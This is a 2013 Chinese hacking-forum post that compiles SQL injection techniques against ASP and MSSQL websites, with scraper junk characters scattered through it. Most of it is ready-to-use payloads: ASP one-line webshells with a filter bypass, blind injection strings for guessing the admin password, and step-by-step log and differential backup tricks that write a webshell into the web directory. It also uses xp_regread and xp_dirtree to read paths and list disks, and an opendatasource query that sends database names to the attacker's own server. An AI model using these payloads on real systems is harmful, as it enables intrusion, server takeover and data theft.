中国网络渗透测试联盟

标题: SQL 注入经典操作整理与收集 [打印本页]

作者: admin    时间: 2013-2-27 21:49
标题: SQL 注入经典操作整理与收集
7 [% e7 U, ^: C7 D& _% E" g# y) O8 x2 ]
突破〈%%〉标记过滤
2 R0 e# Y' D( v& O0 b6 z* ~很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。* J* \/ c; {$ e6 k0 C$ `) c# c
这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。' p# C! h. z( W
原来的程序代码是“〈%execute request("l")%>", 我们可以把它的标签换下来,改成"<scriptlanguage=VBScript runat=server>execute request("l")</Script>".这样就避开了使用〈%%〉,保存为.ASP,程序照样执行。效果是一样的  X0 t3 x5 j' u6 [8 g% @3 J
新or注入方法
; o3 D) a# s# y6 L! b) j% i& L
5 n& `) I" [! v. u( ]vpro.asp?id=1 or exists(select * from n0h4ck)" g1 N% r% V0 _
说明不存在n0h4ck这个表。! C1 c) ~  a4 L$ Q5 E  c7 D: D4 b
vpro.asp?id=1 or exists(select admin from admin)5 A3 c0 e1 }; q0 ~" D
返回or 1=1的页面,说明admin表存在admin字段。
" A! o8 u) T6 Y- [5 v6 m' [2 Lvpro.asp?id=1 or exists(select padd from admin): V1 p9 }% t$ |& ^" D$ b5 c
返回or 1=2的页面,说明admin表不存在padd字段。
1 ~/ A* g8 X% z" [# \% M我们现在开始猜测数据了,
2 q4 W$ I8 u/ Y' [( g: eCopy code7 b+ i% j1 m5 C8 @; [$ B
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'
. p9 l7 @9 j7 W/ k返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。* Y/ b4 Q, K+ M% R& z
opy code$ D, t7 s4 u& A0 X
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'
% G6 E/ x7 B- t3 r- G返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。4 K6 f8 L3 `0 G2 x+ W
我们用left函数确定一下,
. b" a5 w6 Y* C/ z9 r( xCopy code
+ {  D$ C$ U: \7 mvpro.asp?id=1 or (select left(admin,5) from admin)='admin'
8 h7 _) P/ D3 ^4 Z4 @猜测正确,的确是admin,好了,后面的话就不用我说了吧!6 g% J, ~6 o0 L9 \2 B
一句话差异备份的牛X利用分析
& g$ l1 O" K, A$ M8 k
' P8 _: x$ l6 H1 T7 }7 R; K" F  ~/ m<%eval(request("a")):response.end%> 备分专用一句话
9 [3 z+ d7 W4 y6 ]% z加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.4 n  {. L! q/ p0 H4 a

, |" ^3 ^9 k3 g# |2 K& c+ M日志备分WEBSHELL标准的七步:
2 \) H1 H! Q) _/ e# V3 r* M+ f
) B( K' h# `% b5 X$ k1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
1 d; T8 P4 @' j' ]' h# g$ q! o% J  p! l5 g) K. U. m
2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)
8 _# C6 j+ D% X3 `: G& j" S+ U! y6 n2 f- `( n
3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)
6 R2 j8 ?$ \0 Z+ C# ?1 N6 A& n; ^; U
4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)4 ]. H; T0 K: l" X
  A# [; v" ~7 }8 d% [
5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)0 I# Q8 {0 o+ d5 H0 I& s9 r# Y

7 d; e! i. n: w1 Z4 e/ B6.InjectionURL';drop table cmd-- (删除新建的cmd表)
& i6 l; d; o4 _" B# G4 c
9 K& a1 I( |  d+ {) \7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式); _" N, Q3 d, w$ ^

3 h3 p3 B5 s) S( c3 f5 \6 B注:InjectionURL是注入点,XXX是数据库名称.& ]; M3 {& S# o+ J3 ?; b, n
1 r% h* @" a) J# K" U
附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过." L' I4 _2 S" R6 t" R" Z" m
+ x" g# E3 d7 S+ D
数据库差异备份代码:
! _8 r$ M7 o# ?, e+ O3 x# y
5 u) U* g' W( O1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
3 @" h* ?' R) ~- N' y% R. f. K% k1 u+ e
2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)
6 a  X: H$ V; Z, [* X
1 x9 i4 ?/ ~5 X. f, `5 e8 m3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中* W: r) {9 M# D$ e
  p6 F# ]: P+ R% P. v
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。
& F/ p! j7 p" R8 K" y, l' E) u4 z7 |! C
5、drop table [jm_tmp]-- 删除此表。! D$ r4 A8 J4 n+ B! q

+ G3 Q" Q* }: \4 Y网站物理路径读取代码:
9 z. k* u& T) n4 q- \9 L
# w5 L( p, n, h0 G0 S8 N5 [1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表+ i7 h8 _/ v- G$ d' v8 a/ d& D
8 Y) ~1 a! ]2 G0 E
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
* Q8 I! c0 d+ \% K1 e4 H
9 @, w; p0 \. M. C% m# i( w3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段7 \" {6 o% O5 v5 {9 U2 L/ X8 h+ O( r
* |3 y: N2 }& d2 S  T2 u
4、drop table [jm_tmp]-- 删除此表。$ a) v) @* p1 E3 ?3 ^4 T

4 z+ @, c8 W/ u( ^  M. |" p9 G2 J# V磁盘目录读取代码:
! e& C8 C# W0 A* O0 i6 i% C3 t* n, g. y
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表7 v5 L7 y: l* R+ P4 O$ |" u
  u3 v, p/ o& X  E
2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中
- A1 M' t  g! _# _, N! h2 ?$ x! q: k! s7 S
3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称- }0 ^2 c3 V6 C* n+ G' e
' z5 |* n3 J7 J, A$ _. l
4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称3 V& F8 B3 |  W, ?- ]

2 Z5 x( i2 ]6 A/ d; X5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称$ R- C" Z+ n9 N. Z+ }
  k+ o+ ~0 E( o9 ]7 c
6、drop table [jm_tmp]--删除此表" Z! k; S* {. j3 b( j

" h0 y$ E" t1 G3 b网站物理路径读取代码:
8 F7 z4 M/ _1 l8 Y/ i: n5 C( w3 p" h. p: q. K/ T1 K
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表' Z. ]' J2 X7 u) H/ Z& j% H
' |/ b/ m. }0 G6 H) N: u5 o( E
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
% u2 t  ^; x/ Q' H7 b! V5 @$ C4 `4 y# j: x/ ?/ n2 ?  D
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段7 J: y' ^$ W9 \

6 c- K. l! e& b% @8 {3 Q( p) ?4、drop table [jm_tmp]-- 删除此表。0 q' w  q: t7 _+ O! e- f

) d6 Q0 V9 P' c& N& T8 `- g" h1 Z注射过程中DB_ONER权限并且主机与数据库不在一起的搞法
  ]+ I3 c  V" ]* F* }$ [0 X
3 R; E  A, W7 `( U' d2 C& D其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!: [0 G5 [* b+ ^  R! D' l
- D$ @9 q8 G( u) K+ ]6 h+ K
我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
+ _4 e: d$ D6 b. A2 L5 Icreate database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.6 p) _+ [9 o* j1 L2 ~' }6 {& l
# K( M7 m: ~! S2 g9 |0 t
建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...
2 e7 R/ U* f# d$ a' G3 `0 t3 S
0 j% l7 m4 c; r  ?, X1 V" b# F! \) Xhttp://www.xxx.com/news.as... ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--& z2 A2 x& M- G2 o
; s  m2 `7 O# |$ ~& k* u
在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下
% {# W5 M4 y  O! D
/ C  H1 U5 V* x) r  v( o7 n7 U# e4 T在CMD下输入命令:% {% l( c7 E+ ^  W2 I$ Y0 E0 M
netstat -an | find "1433"




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2